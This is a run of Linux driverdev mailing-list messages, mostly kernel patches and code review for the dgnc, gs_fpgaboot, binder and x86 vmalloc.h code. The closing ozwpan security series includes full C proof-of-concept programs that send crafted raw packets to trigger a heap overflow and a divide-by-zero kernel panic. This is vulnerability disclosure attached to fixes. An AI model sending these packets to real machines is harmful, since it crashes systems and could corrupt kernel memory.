Re: staging: unisys: Convert bus functions to pass bus_info pointer around
This is me running static checkers on linux-next and sending semi-automatic emails, it's not a part of any previous discussions. Once a staging patch hits linux-next, then it's too late to respin. If the fixup patches are in the queue then that's fine. regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging: dgnc: delete all references to 'flipbuf'
This patch deletes all references to 'flipbuf'.Memory is allocated and freed but never used anywhere in the driver.Also deleted an ununsed Macro defined in the header file. Signed-off-by: Gujulan Elango Hari Prasath --- drivers/staging/dgnc/dgnc_driver.c | 9 - drivers/staging/dgnc/dgnc_driver.h | 3 --- 2 files changed, 12 deletions(-) diff --git a/drivers/staging/dgnc/dgnc_driver.c b/drivers/staging/dgnc/dgnc_driver.c index 935e297..7e4091f 100644 --- a/drivers/staging/dgnc/dgnc_driver.c +++ b/drivers/staging/dgnc/dgnc_driver.c @@ -355,7 +355,6 @@ static void dgnc_cleanup_board(struct dgnc_board *brd) } } - kfree(brd->flipbuf); dgnc_Board[brd->boardnum] = NULL; @@ -582,14 +581,6 @@ static int dgnc_found_board(struct pci_dev *pdev, int id) brd->msgbuf_head = NULL; spin_unlock_irqrestore(&dgnc_global_lock, flags); - /* -* allocate flip buffer for board. -* -* Okay to malloc with GFP_KERNEL, we are not at interrupt -* context, and there are no locks held. -*/ - brd->flipbuf = kzalloc(MYFLIPLEN, GFP_KERNEL); - wake_up_interruptible(&brd->state_wait); return 0; diff --git a/drivers/staging/dgnc/dgnc_driver.h b/drivers/staging/dgnc/dgnc_driver.h index f77fed5..3dee9f3 100644 --- a/drivers/staging/dgnc/dgnc_driver.h +++ b/drivers/staging/dgnc/dgnc_driver.h @@ -212,8 +212,6 @@ struct dgnc_board { uintTtyRefCnt; - char*flipbuf; /* Our flip buffer, alloced if board is found */ - u16 dpatype;/* The board "type", as defined by DPA */ u16 dpastatus; /* The board "status", as defined by DPA */ @@ -288,7 +286,6 @@ struct un_t { #define CH_TX_FIFO_LWM 0x0800 /* TX Fifo is below Low Water */ #define CH_BREAK_SENDING 0x1000/* Break is being sent */ #define CH_LOOPBACK 0x2000 /* Channel is in lookback mode */ -#define CH_FLIPBUF_IN_USE 0x4000 /* Channel's flipbuf is in use */ #define CH_BAUD0 0x08000 /* Used for checking B0 transitions */ #define CH_FORCED_STOP 0x2/* Output is forcibly stopped */ #define CH_FORCED_STOPI 0x4/* Input is forcibly stopped */ -- 1.9.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: gs_fpgaboot: remove redundant code
On Thu, May 28, 2015 at 09:39:14AM -0700, insop.s...@gainspeed.com wrote: > On Thu, May 28, 2015 at 01:08:36PM +0300, Dan Carpenter wrote: > > On Thu, May 28, 2015 at 09:38:23AM +, Gujulan Elango, Hari Prasath (H.) > > wrote: > > > remove redundant code in this function by introducing a new retval > > > variable. > > > > > > Signed-off-by: Gujulan Elango Hari Prasath > > > > No the original code is quite bad but this patch makes it worse. > > Please elaborate what was 'quite bad' in the original code? > > Regards, > ISS > Well,this is a trivial patch.It doesn't solve anything.There was some redundant code,so i thought of simplifying it. As Dan pointed out, the gs_release_image() returns success always.So there was no point in checking its return value. regards, Hari Prasath > > > > gs_release_image() can't fail, and it should be a void function. > > > > > --- > > > drivers/staging/gs_fpgaboot/gs_fpgaboot.c | 18 -- > > > 1 file changed, 8 insertions(+), 10 deletions(-) > > > > > > diff --git a/drivers/staging/gs_fpgaboot/gs_fpgaboot.c > > > b/drivers/staging/gs_fpgaboot/gs_fpgaboot.c > > > index a3a10f9..cc0445c 100644 > > > --- a/drivers/staging/gs_fpgaboot/gs_fpgaboot.c > > > +++ b/drivers/staging/gs_fpgaboot/gs_fpgaboot.c > > > @@ -290,6 +290,7 @@ static int gs_fpgaboot(void) > > > { > > > int err; > > > struct fpgaimage*fimage; > > > + int retval = 0; > > > > > > fimage = kmalloc(sizeof(struct fpgaimage), GFP_KERNEL); > > > if (!fimage) > > > @@ -298,44 +299,41 @@ static int gs_fpgaboot(void) > > > err = gs_load_image(fimage, file); > > > if (err) { > > > > goto free_fimage; > > > > > pr_err("gs_load_image error\n"); > > > + retval = -1; > > > goto err_out1; > > > } > > > > > > err = gs_read_image(fimage); > > > if (err) { > > > > > > goto release_image; > > > > > pr_err("gs_read_image error\n"); > > > + retval = -1; > > > goto err_out2; > > > } > > > > > > err = gs_set_download_method(fimage); > > > if (err) { > > > > goto release_image; > > > > > pr_err("gs_set_download_method error\n"); > > > + retval = -1; > > > goto err_out2; > > > } > > > > > > err = gs_download_image(fimage, bus_2byte); > > > > > > release_image: > > gs_release_image(fimage); > > free_fimage: > > kfree(fimage); > > > > return err; > > > > regards, > > dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: gs_fpgaboot: remove redundant code
On Thu, May 28, 2015 at 12:03:26PM -0700, insop.s...@gainspeed.com wrote: > On Thu, May 28, 2015 at 09:50:23PM +0300, Dan Carpenter wrote: > > On Thu, May 28, 2015 at 09:39:14AM -0700, insop.s...@gainspeed.com wrote: > > > On Thu, May 28, 2015 at 01:08:36PM +0300, Dan Carpenter wrote: > > > > On Thu, May 28, 2015 at 09:38:23AM +, Gujulan Elango, Hari Prasath > > > > (H.) wrote: > > > > > remove redundant code in this function by introducing a new retval > > > > > variable. > > > > > > > > > > Signed-off-by: Gujulan Elango Hari Prasath > > > > > > > > No the original code is quite bad but this patch makes it worse. > > > > > > Please elaborate what was 'quite bad' in the original code? > > > > GW-BASIC labels. > what do you mean? > > > return -1 instead of proper error codes. > Okay, > > > poorly thought out error messages. > which one are you exactly refering? > I went through all error messages, but cannot find which one(s) you exactly > mean. > > > The error handling of gs_release_image() was silly. > I would say, ""The error handling of gs_release_image() was "unnecessary""" > instead. > > So your feedback is mostly on error code and error messages > Thank you for your feedback. > > Regards, > > ISS I have sent v2 for this patch.Please have a look at it as well and provide your feedback. regards, Hari Prasath ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging: dgnc: check return value of kzalloc
check return value of kzalloc and return error if it fails. Signed-off-by: Gujulan Elango Hari Prasath --- drivers/staging/dgnc/dgnc_tty.c | 8 1 file changed, 8 insertions(+) diff --git a/drivers/staging/dgnc/dgnc_tty.c b/drivers/staging/dgnc/dgnc_tty.c index ce4187f..2397c66 100644 --- a/drivers/staging/dgnc/dgnc_tty.c +++ b/drivers/staging/dgnc/dgnc_tty.c @@ -316,6 +316,8 @@ int dgnc_tty_init(struct dgnc_board *brd) * interrupt context, and there are no locks held. */ brd->channels[i] = kzalloc(sizeof(*brd->channels[i]), GFP_KERNEL); + if (!brd->channels[i]) + return -ENOMEM; } } @@ -1126,10 +1128,16 @@ static int dgnc_tty_open(struct tty_struct *tty, struct file *file) if (!ch->ch_rqueue) ch->ch_rqueue = kzalloc(RQUEUESIZE, GFP_KERNEL); + if (!ch->ch_rqueue) + return -ENOMEM; if (!ch->ch_equeue) ch->ch_equeue = kzalloc(EQUEUESIZE, GFP_KERNEL); + if (!ch->ch_equeue) + return -ENOMEM; if (!ch->ch_wqueue) ch->ch_wqueue = kzalloc(WQUEUESIZE, GFP_KERNEL); + if (!ch->ch_wqueue) + return -ENOMEM; spin_lock_irqsave(&ch->ch_lock, flags); -- 1.9.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH] staging: dgnc: remove unwanted else block
Remove the unwanted else block Signed-off-by: Gujulan Elango Hari Prasath --- drivers/staging/dgnc/dgnc_tty.c | 4 1 file changed, 4 deletions(-) diff --git a/drivers/staging/dgnc/dgnc_tty.c b/drivers/staging/dgnc/dgnc_tty.c index 2397c66..ca07b7f 100644 --- a/drivers/staging/dgnc/dgnc_tty.c +++ b/drivers/staging/dgnc/dgnc_tty.c @@ -899,10 +899,6 @@ void dgnc_check_queue_flow_control(struct channel_t *ch) ch->ch_stops_sent = 0; ch->ch_bd->bd_ops->send_start_character(ch); } - /* No FLOW */ - else { - /* Nothing needed. */ - } } } -- 1.9.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: gs_fpgaboot: remove redundant code
Originally when I was reviewing Hari's patch I had no idea you wrote this code so I was not as polite as I could have been. Sorry. On Thu, May 28, 2015 at 12:03:26PM -0700, insop.s...@gainspeed.com wrote: > > poorly thought out error messages. > which one are you exactly refering? > err = gs_load_image(fimage, file); if (err) { pr_err("gs_load_image error\n"); goto err_out1; } Not a lot of love went into crafting the error message. Plus it duplicates a better error message in gs_load_image() and an even better set of error messages in request_firmware(). regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: dgnc: check return value of kzalloc
On Fri, May 29, 2015 at 07:44:11AM +, Gujulan Elango, Hari Prasath (H.) wrote: > check return value of kzalloc and return error if it fails. > There is a problem with your patch. See if you can spot it. Also can you add to the changelog what are the user visible effects of not checking for kzalloc() failure? Last time with ->flipbuf there were no user visible effects. Also return -ENOMEM seems like the wrong thing. Shouldn't we do some error handling. Also you are not working on linux-next? Some of this stuff is done correctly in linux-next. regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [RFC][PATCH] x86: remove vmalloc.h from asm/io.h
* Stephen Rothwell wrote: > Nothing in asm/io.h uses anything from vmalloc.h, so remove the include > and fix up the build problems in an allmodconfig (64 bit and 32 bit) > build. > > This may be the place where x86 builds get vmalloc.h implicitly included > and that tends to hide places where vmalloc() et al are added to files > but the include of vmalloc.h is forgotten. Good idea. Acked-by: Ingo Molnar > Based in Linus' tree of today. > > There are probably more places that need vmalloc.h included, but this passes > 64 > bit and 32 bit allmodconfig builds, so is a place to start. Please also test x86 allnoconfig and defconfig 32/64, that tends to unearth the remaining places. People doing randconfig testing will find the rest. Thanks, Ingo ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 01/13] drivers: android: correct the size of struct binder_uintptr_t for BC_DEAD_BINDER_DONE
On Thu, May 28, 2015 at 04:08:19PM -0700, Riley Andrews wrote: > From: Lisa Du > > There's one point was missed in the patch commit da49889deb34 ("staging: > binder: Support concurrent 32 bit and 64 bit processes."). When configure > BINDER_IPC_32BIT, the size of binder_uintptr_t was 32bits, but size of > void * is 64bit on 64bit system. Correct it here. > > Signed-off-by: Lisa Du You should have your own name signed here as well. regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[RFC][PATCH] x86: remove vmalloc.h from asm/io.h
Nothing in asm/io.h uses anything from vmalloc.h, so remove the include and fix up the build problems in an allmodconfig (64 bit and 32 bit) build. This may be the place where x86 builds get vmalloc.h implicitly included and that tends to hide places where vmalloc() et al are added to files but the include of vmalloc.h is forgotten. Cc: Thomas Gleixner Cc: Ingo Molnar Cc: "H. Peter Anvin" Cc: Cc: Konrad Rzeszutek Wilk Cc: Boris Ostrovsky Cc: David Vrabel Cc: Anton Vorontsov Cc: Colin Cross Cc: Kees Cook Cc: Tony Luck Cc: "Rafael J. Wysocki" Cc: Len Brown Cc: Kristen Carlson Accardi Cc: Viresh Kumar Cc: Vinod Koul Cc: "K. Y. Srinivasan" Cc: Haiyang Zhang Cc: Hiral Patel Cc: Suma Ramars Cc: Brian Uchino Cc: "James E.J. Bottomley" Cc: Jaroslav Kysela Cc: Takashi Iwai Cc: Andrew Morton Suggested-by: David Miller Signed-off-by: Stephen Rothwell --- Based in Linus' tree of today. There are probably more places that need vmalloc.h included, but this passes 64 bit and 32 bit allmodconfig builds, so is a place to start. Dave Miller suggested that I start this journey. arch/x86/include/asm/io.h | 2 -- arch/x86/kernel/crash.c| 1 + arch/x86/kernel/machine_kexec_64.c | 1 + arch/x86/mm/pageattr-test.c| 1 + arch/x86/mm/pageattr.c | 1 + arch/x86/xen/p2m.c | 1 + drivers/acpi/apei/erst.c | 1 + drivers/cpufreq/intel_pstate.c | 1 + drivers/dma/mic_x100_dma.c | 1 + drivers/net/hyperv/netvsc.c| 1 + drivers/net/hyperv/rndis_filter.c | 1 + drivers/scsi/fnic/fnic_debugfs.c | 1 + drivers/scsi/fnic/fnic_trace.c | 1 + sound/pci/asihpi/hpioctl.c | 1 + 14 files changed, 13 insertions(+), 2 deletions(-) diff --git a/arch/x86/include/asm/io.h b/arch/x86/include/asm/io.h index 34a5b93704d3..5791e7ace9db 100644 --- a/arch/x86/include/asm/io.h +++ b/arch/x86/include/asm/io.h @@ -197,8 +197,6 @@ extern void set_iounmap_nonlazy(void); #include -#include - /* * Convert a virtual cached pointer to an uncached pointer */ diff --git a/arch/x86/kernel/crash.c b/arch/x86/kernel/crash.c index c76d3e37c6e1..e068d6683dba 100644 --- a/arch/x86/kernel/crash.c +++ b/arch/x86/kernel/crash.c @@ -22,6 +22,7 @@ #include #include #include +#include #include #include diff --git a/arch/x86/kernel/machine_kexec_64.c b/arch/x86/kernel/machine_kexec_64.c index 415480d3ea84..11546b462fa6 100644 --- a/arch/x86/kernel/machine_kexec_64.c +++ b/arch/x86/kernel/machine_kexec_64.c @@ -17,6 +17,7 @@ #include #include #include +#include #include #include diff --git a/arch/x86/mm/pageattr-test.c b/arch/x86/mm/pageattr-test.c index 6629f397b467..8ff686aa7e8c 100644 --- a/arch/x86/mm/pageattr-test.c +++ b/arch/x86/mm/pageattr-test.c @@ -9,6 +9,7 @@ #include #include #include +#include #include #include diff --git a/arch/x86/mm/pageattr.c b/arch/x86/mm/pageattr.c index 89af288ec674..bedfc794b4ba 100644 --- a/arch/x86/mm/pageattr.c +++ b/arch/x86/mm/pageattr.c @@ -14,6 +14,7 @@ #include #include #include +#include #include #include diff --git a/arch/x86/xen/p2m.c b/arch/x86/xen/p2m.c index b47124d4cd67..8b7f18e200aa 100644 --- a/arch/x86/xen/p2m.c +++ b/arch/x86/xen/p2m.c @@ -67,6 +67,7 @@ #include #include #include +#include #include #include diff --git a/drivers/acpi/apei/erst.c b/drivers/acpi/apei/erst.c index ed65e9c4b5b0..3670bbab57a3 100644 --- a/drivers/acpi/apei/erst.c +++ b/drivers/acpi/apei/erst.c @@ -35,6 +35,7 @@ #include #include #include +#include #include #include "apei-internal.h" diff --git a/drivers/cpufreq/intel_pstate.c b/drivers/cpufreq/intel_pstate.c index 6414661ac1c4..2ba53f4f6af2 100644 --- a/drivers/cpufreq/intel_pstate.c +++ b/drivers/cpufreq/intel_pstate.c @@ -26,6 +26,7 @@ #include #include #include +#include #include #include diff --git a/drivers/dma/mic_x100_dma.c b/drivers/dma/mic_x100_dma.c index 6de2e677be04..74d9db05a5ad 100644 --- a/drivers/dma/mic_x100_dma.c +++ b/drivers/dma/mic_x100_dma.c @@ -22,6 +22,7 @@ #include #include #include +#include #include "mic_x100_dma.h" diff --git a/drivers/net/hyperv/netvsc.c b/drivers/net/hyperv/netvsc.c index ea091bc5ff09..1e09243d5449 100644 --- a/drivers/net/hyperv/netvsc.c +++ b/drivers/net/hyperv/netvsc.c @@ -28,6 +28,7 @@ #include #include #include +#include #include #include "hyperv_net.h" diff --git a/drivers/net/hyperv/rndis_filter.c b/drivers/net/hyperv/rndis_filter.c index 9118cea91882..35a482d526d9 100644 --- a/drivers/net/hyperv/rndis_filter.c +++ b/drivers/net/hyperv/rndis_filter.c @@ -27,6 +27,7 @@ #include #include #include +#include #include "hyperv_net.h" diff --git a/drivers/scsi/fnic/fnic_debugfs.c b/drivers/scsi/fnic/fnic_debugfs.c index 5980c10c734d..d6498fabe628 100644 --- a/drivers/scsi/fnic/fnic_debugfs.c +++ b/drivers/scsi/fnic/fnic_debugfs.c @@ -18,6 +18,7 @@ #include #include #include +
Re: [PATCH 03/13] android: binder: refactor binder_thread_write
This patch is ok. Reviewed-by: Dan Carpenter On Thu, May 28, 2015 at 04:08:21PM -0700, Riley Andrews wrote: > +static void binder_call_inc_dec_ref(struct binder_thread *thread, > + uint32_t target, uint32_t cmd) > +{ > + struct binder_proc *proc = thread->proc; > + struct binder_ref *ref; > + const char *debug_string; > + > + if (target == 0 && binder_context_mgr_node && > + (cmd == BC_INCREFS || cmd == BC_ACQUIRE)) { > + ref = binder_get_ref_for_node(proc, binder_context_mgr_node); > + if (ref->desc != target) { > + binder_user_error("%d:%d tried to acquire reference to > desc 0, got %d instead\n", > + proc->pid, thread->pid, ref->desc); > + return; Presumably we never hit this error condition. In the original code we printed an error and continued but now we bail on error. Presumably this is a theoretical bug fix which doesn't affect real life so I will allow it. But in the future don't mix behaviour changes with clean up patches. > + } > + } else { > + ref = binder_get_ref(proc, target); > + } > + if (!ref) { In the original code this was "if (ref == NULL)". Please don't mix these kinds of cleanups with moving code around because it makes it harder for me to review. Do that in a separate patch. regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: dgnc: check return value of kzalloc
On Fri, May 29, 2015 at 11:54:09AM +0300, Dan Carpenter wrote: > On Fri, May 29, 2015 at 07:44:11AM +, Gujulan Elango, Hari Prasath (H.) > wrote: > > check return value of kzalloc and return error if it fails. > > > > There is a problem with your patch. See if you can spot it. Also can > you add to the changelog what are the user visible effects of not > checking for kzalloc() failure? Last time with ->flipbuf there were no > user visible effects. > > Also return -ENOMEM seems like the wrong thing. Shouldn't we do some > error handling. Also you are not working on linux-next? Some of this > stuff is done correctly in linux-next. > > regards, > dan carpenter > Dan,I am working on the staging-testing git tree.I was not aware that someone has submitted a similar patch which was reviewed by you & sudip.If a patch to address this has already gone in,why am I not seeing that change here.Am I missing something ? ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH 05/13] android: binder: refactor binder_transact transaction buffer loop
On Thu, May 28, 2015 at 04:08:23PM -0700, Riley Andrews wrote: > +static int binder_transaction_buffer_acquire( > + struct binder_transaction *t, struct binder_transaction_data *tr, > + struct binder_thread *thread, struct binder_transaction *in_reply_to) > +{ > + struct binder_proc *proc = thread->proc; > + binder_size_t *offp, *off_end, off_min; > + struct flat_binder_object *fp; > + uint32_t result; > + > + if (!IS_ALIGNED(tr->offsets_size, sizeof(binder_size_t))) { > + binder_user_error("%d:%d got transaction with invalid offsets > size, %lld\n", > + proc->pid, thread->pid, > + (u64)tr->offsets_size); > + return BR_FAILED_REPLY; This smells like a behavior change. In the original code we called trace_binder_transaction_failed_buffer_release(). Are you sure it's correct? Naming the labels after the goto location is an anti-pattern. aaa = kmalloc(); if (!aaa) goto kmalloc_failed; The label name doesn't provide useful information compared to the line before. If binder_transaction_buffer_acquire() fails we say "goto err_translate_failed;" but actually translate didn't fail because we haven't yet attempted to translate so the little information the label does provide is misleading. Grumble grumble etc. Also "error:" is a meaningless label name. Name labels after what the label does "goto release_buffer;". regards, dan carpenter ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
Re: [PATCH] staging: dgnc: check return value of kzalloc
On Fri, May 29, 2015 at 10:06:48AM +, Gujulan Elango, Hari Prasath (H.) wrote: > On Fri, May 29, 2015 at 11:54:09AM +0300, Dan Carpenter wrote: > > On Fri, May 29, 2015 at 07:44:11AM +, Gujulan Elango, Hari Prasath (H.) > > wrote: > > > check return value of kzalloc and return error if it fails. > > > > > > > There is a problem with your patch. See if you can spot it. Also can > > you add to the changelog what are the user visible effects of not > > checking for kzalloc() failure? Last time with ->flipbuf there were no > > user visible effects. > > > > Also return -ENOMEM seems like the wrong thing. Shouldn't we do some > > error handling. Also you are not working on linux-next? Some of this > > stuff is done correctly in linux-next. > > > > regards, > > dan carpenter > > > > Dan,I am working on the staging-testing git tree.I was not aware that > someone has submitted a similar patch which was reviewed by you & > sudip.If a patch to address this has already gone in,why am I not seeing > that change here.Am I missing something ? Something is wrong. You should see: commit fa52d96c3ea110acb77e51c856ec0b54606cc17e Author: Giedrius Statkevičius Date: Fri Apr 10 02:42:29 2015 +0300 staging: dgnc: clean up allocation of ->channels[i] regards, dan carpenter > ___ > devel mailing list > de...@linuxdriverproject.org > http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH v3 1/4] ozwpan: Use proper check to prevent heap overflow
Since elt->length is a u8, we can make this variable a u8. Then we can do proper bounds checking more easily. Without this, a potentially negative value is passed to the memcpy inside oz_hcd_get_desc_cnf, resulting in a remotely exploitable heap overflow with network supplied data. This could result in remote code execution. A PoC which obtains DoS follows below. It requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; } __packed connect_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 35, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 } }; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_get_desc_rsp oz_get_desc_rsp; } __packed pwn_packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(1) }, .oz_elt = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct
[PATCH v3 0/4] ozwpan: Four remote packet-of-death vulnerabilities
This is v3 for this patch series, enhancing readability. The ozwpan driver accepts network packets, parses them, and converts them into various USB functionality. There are numerous security vulnerabilities in the handling of these packets. Two of them result in a memcpy(kernel_buffer, network_packet, -length), one of them is a divide-by-zero, and one of them is a loop that decrements -1 until it's zero. I've written a very simple proof-of-concept for each one of these vulnerabilities to aid with detecting and fixing them. The general operation of each proof-of-concept code is: - Load the module with: # insmod ozwpan.ko g_net_dev=eth0 - Compile the PoC with ozprotocol.h from the kernel tree: $ cp /path/to/linux/drivers/staging/ozwpan/ozprotocol.h ./ $ gcc ./poc.c -o ./poc - Run the PoC: # ./poc eth0 [mac-address] These PoCs should also be useful to the maintainers for testing out constructing and sending various other types of malformed packets against which this driver should be hardened. Please assign CVEs for these vulnerabilities. I believe the first two patches of this set can receive one CVE for both, and the remaining two can receive one CVE each. On a slightly related note, there are several other vulnerabilities in this driver that are worth looking into. When ozwpan receives a packet, it casts the packet into a variety of different structs, based on the value of type and length parameters inside the packet. When making these casts, and when reading bytes based on this length parameter, the actual length of the packet in the socket buffer is never actually consulted. As such, it's very likely that a packet could be sent that results in the kernel reading memory in adjacent buffers, resulting in an information leak, or from unpaged addresses, resulting in a crash. In the former case, it may be possible with certain message types to actually send these leaked adjacent bytes back to the sender of the packet. So, I'd highly recommend the maintainers of this driver go branch-by-branch from the initial rx function, adding checks to ensure all reads and casts are within the bounds of the socket buffer. Jason A. Donenfeld (4): ozwpan: Use proper check to prevent heap overflow ozwpan: Use unsigned ints to prevent heap overflow ozwpan: divide-by-zero leading to panic ozwpan: unchecked signed subtraction leads to DoS drivers/staging/ozwpan/ozhcd.c | 8 drivers/staging/ozwpan/ozusbif.h | 4 ++-- drivers/staging/ozwpan/ozusbsvc1.c | 18 ++ 3 files changed, 20 insertions(+), 10 deletions(-) -- 2.4.1 ___ devel mailing list de...@linuxdriverproject.org http://driverdev.linuxdriverproject.org/mailman/listinfo/driverdev-devel
[PATCH v3 3/4] ozwpan: divide-by-zero leading to panic
A network supplied parameter was not checked before division, leading to a divide-by-zero. Since this happens in the softirq path, it leads to a crash. A PoC follows below, which requires the ozprotocol.h file from this module. =-=-=-=-=-= #include #include #include #include #include #include #include #include #include #include #define u8 uint8_t #define u16 uint16_t #define u32 uint32_t #define __packed __attribute__((__packed__)) #include "ozprotocol.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hwaddr_aton(const char *txt, uint8_t *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } int main(int argc, char *argv[]) { if (argc < 3) { fprintf(stderr, "Usage: %s interface destination_mac\n", argv[0]); return 1; } uint8_t dest_mac[6]; if (hwaddr_aton(argv[2], dest_mac)) { fprintf(stderr, "Invalid mac address.\n"); return 1; } int sockfd = socket(AF_PACKET, SOCK_RAW, IPPROTO_RAW); if (sockfd < 0) { perror("socket"); return 1; } struct ifreq if_idx; int interface_index; strncpy(if_idx.ifr_ifrn.ifrn_name, argv[1], IFNAMSIZ - 1); if (ioctl(sockfd, SIOCGIFINDEX, &if_idx) < 0) { perror("SIOCGIFINDEX"); return 1; } interface_index = if_idx.ifr_ifindex; if (ioctl(sockfd, SIOCGIFHWADDR, &if_idx) < 0) { perror("SIOCGIFHWADDR"); return 1; } uint8_t *src_mac = (uint8_t *)&if_idx.ifr_hwaddr.sa_data; struct { struct ether_header ether_header; struct oz_hdr oz_hdr; struct oz_elt oz_elt; struct oz_elt_connect_req oz_elt_connect_req; struct oz_elt oz_elt2; struct oz_multiple_fixed oz_multiple_fixed; } __packed packet = { .ether_header = { .ether_type = htons(OZ_ETHERTYPE), .ether_shost = { src_mac[0], src_mac[1], src_mac[2], src_mac[3], src_mac[4], src_mac[5] }, .ether_dhost = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }, .oz_hdr = { .control = OZ_F_ACK_REQUESTED | (OZ_PROTOCOL_VERSION << OZ_VERSION_SHIFT), .last_pkt_num = 0, .pkt_num = htole32(0) }, .oz_elt = { .type = OZ_ELT_CONNECT_REQ, .length = sizeof(struct oz_elt_connect_req) }, .oz_elt_connect_req = { .mode = 0, .resv1 = {0}, .pd_info = 0, .session_id = 0, .presleep = 0, .ms_isoc_latency = 0, .host_vendor = 0, .keep_alive = 0, .apps = htole16((1 << OZ_APPID_USB) | 0x1), .max_len_div16 = 0, .ms_per_isoc = 0, .up_audio_buf = 0, .ms_per_elt = 0 }, .oz_elt2 = { .type = OZ_ELT_APP_DATA, .length = sizeof(struct oz_multiple_fixed) }, .oz_multiple_fixed = { .app_id = OZ_APPID_USB, .elt_seq_num = 0, .type = OZ_USB_ENDPOINT_DATA, .endpoint = 0, .format = OZ_DATA_F_MULTIPLE_FIXED, .unit_size = 0, .data = {0} } }; struct sockaddr_ll socket_address = { .sll_ifindex = interface_index, .sll_halen = ETH_ALEN, .sll_addr = { dest_mac[0], dest_mac[1], dest_mac[2], dest_mac[3], dest_mac[4], dest_mac[5] } }; if (sendto(sockfd, &packet, sizeof(packet), 0, (struct sockaddr *)&socket_address, sizeof(socket_address)) < 0) { perror("sendto"); return 1; } return 0; } Signed-off-by: Jason A. Donenfeld
